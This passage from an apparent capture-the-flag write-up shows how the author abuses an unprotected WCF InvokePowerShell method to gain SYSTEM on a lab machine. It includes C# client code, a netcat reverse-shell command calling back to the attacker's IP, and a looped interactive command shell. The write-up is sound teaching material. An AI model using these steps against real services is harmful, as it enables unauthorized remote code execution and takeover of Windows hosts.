It works. Before I run it, I’ll make one more small change to the Client, by changing the Wcf endpoint from localhost to the IP of Sharp so I can run it from my terminal:
new NetTcpBinding(SecurityMode.Transport),"net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
I’ll clean and build again, and it works.
If I try to run this in a normal terminal, it spits a wall of errors:
PS > .\WcfClient.exe
Unhandled Exception: System.ServiceModel.Security.SecurityNegotiationException: The server has rejected the client credentials. ---> System.Security.Authentication.InvalidCredentialException: The server has rejected the client credentials. ---> System.ComponentModel.Win32Exception: The logon attempt failed
--- End of inner exception stack trace ---
at System.Net.Security.NegoState.ProcessReceivedBlob(Byte[] message, LazyAsyncResult lazyResult)
at System.Net.Security.NegoState.StartReceiveBlob(LazyAsyncResult lazyResult)
at System.Net.Security.NegoState.CheckCompletionBeforeNextReceive(LazyAsyncResult lazyResult)
at System.Net.Security.NegoState.StartSendBlob(Byte[] message, LazyAsyncResult lazyResult)
at System.Net.Security.NegoState.CheckCompletionBeforeNextSend(Byte[] message, LazyAsyncResult lazyResult)
at System.Net.Security.NegoState.ProcessReceivedBlob(Byte[] message, LazyAsyncResult lazyResult)
at System.Net.Security.NegoState.StartReceiveBlob(LazyAsyncResult lazyResult)
...[snip]...
The server rejected my credentials. As I noted above, I’ll want to run this as lars. I could upload this to Sharp and run it there, or just run it in a /netonly
PowerShell session like above. When I do that, it works, printing the output of the three commands from the client:
PS > .\WcfClient.exe
DeviceID Free(GB) Total(GB)
-------- -------- ---------
C: 28.2250862121582 39.5097618103027
Physical Processors : 2
Logical Processors : 2
Total Memory(GB) : 3
Free Memory(GB) : 3
InvokePowerShell POC
I noted that there’s an unused function, InvokePowerShell
, in the RemotingLibrary
that looks interesting. I’ll add a ling to the Main
function in the client:
public static void Main() {
ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
new NetTcpBinding(SecurityMode.Transport),"net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
);
IWcfService client = channelFactory.CreateChannel();
Console.WriteLine(client.GetDiskInfo());
Console.WriteLine(client.GetCpuInfo());
Console.WriteLine(client.GetRamInfo());
Console.WriteLine(client.InvokePowerShell("ping 10.10.14.14"));
}
On building that and running it, it returns the output from the ping
, and Wireshark records the pings as well:
PS > .\WcfClient.exe
DeviceID Free(GB) Total(GB)
-------- -------- ---------
C: 28.225025177002 39.5097618103027
Physical Processors : 2
Logical Processors : 2
Total Memory(GB) : 3
Free Memory(GB) : 3
Pinging 10.10.14.14 with 32 bytes of data:
Reply from 10.10.14.14: bytes=32 time=18ms TTL=127
Reply from 10.10.14.14: bytes=32 time=19ms TTL=127
Reply from 10.10.14.14: bytes=32 time=18ms TTL=127
Reply from 10.10.14.14: bytes=32 time=17ms TTL=127
Ping statistics for 10.10.14.14:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 17ms, Maximum = 19ms, Average = 18ms
The pings reach my VM as well:
Shell as System
I’ll update the Main
function to use the nc64.exe
already on Sharp:
public static void Main() {
ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
new NetTcpBinding(SecurityMode.Transport),"net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
);
IWcfService client = channelFactory.CreateChannel();
Console.WriteLine(client.InvokePowerShell("C:\\programdata\\nc64.exe -e powershell 10.10.14.14 443"));
}
After building and running, I get a shell as System:
PS > .\nc64.exe -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.219] 49691
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
nt authority\system
And I can grab root.txt
:
PS C:\users\administrator\desktop> cat root.txt
79cb88f4************************
Shell Via WCF
Sharp is offering a WCF service that will take a string and execute it as PowerShell. There’s nothing to stop me from writing a shell just using that. To start, I can edit Main
to prompt for a command, and then send that:
public static void Main()
{
string line;
ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
new NetTcpBinding(SecurityMode.Transport), "net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
);
IWcfService client = channelFactory.CreateChannel();
Console.Write("> ");
line = Console.ReadLine();
Console.Write(client.InvokePowerShell(line));
}
Running it, I’ll give it whoami
, and the result comes back:
PS > .\WcfClient.exe
> whoami
nt authority\system
PS >
I can wrap that in a while (true)
loop:
public static void Main()
{
string line;
ChannelFactory<IWcfService> channelFactory = new ChannelFactory<IWcfService>(
new NetTcpBinding(SecurityMode.Transport), "net.tcp://10.10.10.219:8889/wcf/NewSecretWcfEndpoint"
);
IWcfService client = channelFactory.CreateChannel();
while (true)
{
Console.Write("> ");
line = Console.ReadLine();
Console.Write(client.InvokePowerShell(line));
}
}
Now it will continually prompt for commands and run them:
PS > .\WcfClient.exe
> whoami
nt authority\system
> dir C:\users
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/15/2020 5:53 PM Administrator
d----- 12/1/2020 1:52 PM lars
d-r--- 10/30/2020 8:45 AM Public
>
I’ll leave it here, but there are other improvements one could make:
- Track a working directory, and execute something like
cd $working; $cmd
; - Add error handling so the shell doesn’t exit when something returns an error;
- The shell breaks if the returned information is too long, but there is surely a way to run the command and get the output in chunks.